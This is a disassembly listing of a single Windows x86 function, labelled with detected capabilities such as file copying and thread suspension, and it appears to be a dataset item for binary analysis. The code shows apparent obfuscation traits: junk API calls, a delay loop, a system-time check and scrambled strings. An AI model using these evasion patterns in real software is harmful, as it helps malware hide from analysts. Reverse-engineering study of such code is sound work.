Function at 0x40100d
Capabilities:
Copy file
Read file on windows
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f4
push esi
push edi
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x11c], 0
mov ecx, 6
mov esi, str.xfgxstlxsys
lea edi, [ebp - 0x14c]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x34], 0
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x124], 0x1000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x80], 0x1000
push 0
mov eax, dword [ebp - 0x164]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 4
push 0x1000
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x4010ed
mov dword [ebp - 0x170], 1
cmp dword [ebp - 0x164], 0
je 0x40110f
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x174]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [ebp - 0x88], str.PRESS_KEY_TO_RETURN
cmp dword [ebp - 0x170], 0
je 0x40112b
mov edx, 1
test edx, edx
je 0x401166
push 4
push 0x1000
push 0x264
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2c], eax
push str.dsmf:pb_nsDXGX
lea eax, [ebp - 0x78]
push eax
call fcn.004051f0
add esp, 8
mov dword [ebp - 0x168], 1
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x164], 0
cmp dword [ebp - 0x16c], 0
jne 0x4011bf
mov edx, dword [ebp - 0x11c]
movsx eax, byte [edx]
cmp eax, 0x45
je 0x4011bf
mov ecx, dword [ebp - 0x11c]
movsx edx, byte [ecx + 1]
cmp edx, 0x46
je 0x4011bf
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x168], 0
jbe 0x40120b
mov edx, dword [0x40d038]
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x17c]
mov dword [eax + 0x12c], ecx
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x84], edx
mov dword [ebp - 0x168], 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1ac]
mov dword [ebp - 0x16c], ecx
push 0x24
push 0
lea edx, [ebp - 0x28]
push edx
call fcn.00405190
add esp, 0xc
mov eax, dword [str.ZoftYare]
mov dword [ebp - 0x134], eax
mov ecx, dword [0x40d08c]
mov dword [ebp - 0x130], ecx
mov dl, byte [0x40d090]
mov byte [ebp - 0x12c], dl
cmp dword [ebp - 0x84], 1
je 0x401254
mov eax, 1
test eax, eax
je 0x4015fd
mov dword [ebp - 0x184], 0
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x130], 2
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x180], 0xfffff
push 0x40d094
push 0
call dword [sym.imp.USER32.dll_LoadBitmapA]
mov dword [ebp - 0x1a8], 0
jmp 0x4012a7
mov edx, dword [ebp - 0x1a8]
add edx, 1
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x180]
jae 0x4012c6
mov ecx, dword [ebp - 0x1a4]
add ecx, 1
mov dword [ebp - 0x1a4], ecx
jmp 0x401298
mov byte [ebp - 0x1a0], 0
lea edx, [ebp - 0x194]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [ebp - 0x194]
and eax, 0xffff
cmp eax, 0x3f2
jge 0x4012ff
push 0
push 0
push str.ERROR_SYS_TIME
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401316
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [ebp - 0x1a4], 0
jne 0x401339
mov edx, dword [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40134e
mov dword [ebp - 0x184], 1
mov ecx, dword [ebp - 0x180]
shl ecx, 1
cmp ecx, dword [ebp - 0x1a4]
jb 0x4015ae
cmp dword [ebp - 0x184], 0
je 0x4015ae
mov dword [ebp - 0x1b0], str.Close
mov byte [ebp - 0x134], 0x53
mov dword [ebp - 0x1ac], 0x7d83
cmp dword [ebp - 0x1ac], 0
je 0x4013dc
cmp dword [ebp - 0x1a4], 0
jne 0x4013af
push 0
push 0
mov edx, dword [ebp - 0x1b0]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x78]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x15c], 0xffffffff
push 0xffffffffffffffff
push 0
push 3
push 0
push 0xfffffffffffffff8
push 0xfffffffffffffffc
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xffffffff
je 0x4013fc
mov dword [ebp - 0x1b4], 0
mov ecx, dword [ebp - 0x15c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x401588
mov dword [ebp - 0x1c0], 0
mov edx, dword [ebp - 0x158]
cmp edx, dword [ebp - 0x120]
jne 0x40145e
mov eax, dword [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0x15c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 0
push 0
push 0
mov edx, dword [ebp - 0x158]
add edx, 2
push edx
mov eax, dword [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
jmp 0x401465
mov byte [ebp - 0x130], 0x77
mov ecx, dword [0x40d6ec]
mov dword [ebp - 0x1bc], ecx
mov edx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x1bc]
mov dword [edx + 0x220], eax
lea ecx, [ebp - 0x134]
test ecx, ecx
jne 0x401497
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x1c0]
push edx
push 0x10
push 0
lea eax, [ebp - 0x134]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x228], eax
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 0x228], 0
jne 0x401575
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1c8], 0
mov byte [ebp - 0x5c8], 0
mov dword [ebp - 0x5cc], 0x400
mov eax, dword [ebp - 0x1c0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x5d0], 4
cmp dword [ebp - 0x5cc], 6
jne 0x401575
mov edx, dword [ebp - 0x120]
push edx
lea eax, [ebp - 0x5c8]
push eax
push 0
call fcn.00401aea
add esp, 0xc
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x1ac]
mov dword [0x40d530], edx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x1ac], 0
jle 0x401575
mov dword [ebp - 0x168], 1
cmp dword [ebp - 0x1c0], 0
jne 0x401588
mov dword [ebp - 0x5d4], 0
cmp dword [ebp - 0x168], 1
jae 0x4015a4
mov dword [ebp - 0x2c], 0xff1a
mov dword [ebp - 0x120], 0xfaf0
jmp 0x4015ac
mov eax, dword [ebp - 0x2c]
jmp 0x401688
jmp 0x4015fd
push 0
push 0
mov ecx, dword [ebp - 0x88]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
push 0
push 0
push 1
push 0x1f03ff
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x4015fd
push 4
push 0x1000
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x130], 0
je 0x401624
cmp dword [ebp - 0x168], 0
jbe 0x401624
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x160], 0
mov eax, dword [ebp - 0x2c]
jmp 0x401688
lea edx, [ebp - 0x5f4]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
cmp dword [ebp - 0x15c], 0
je 0x401672
push 0
lea eax, [ebp - 0x168]
push eax
push 0xa
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov eax, dword [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x5f4]
push ecx
lea edx, [ebp - 0x5e4]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret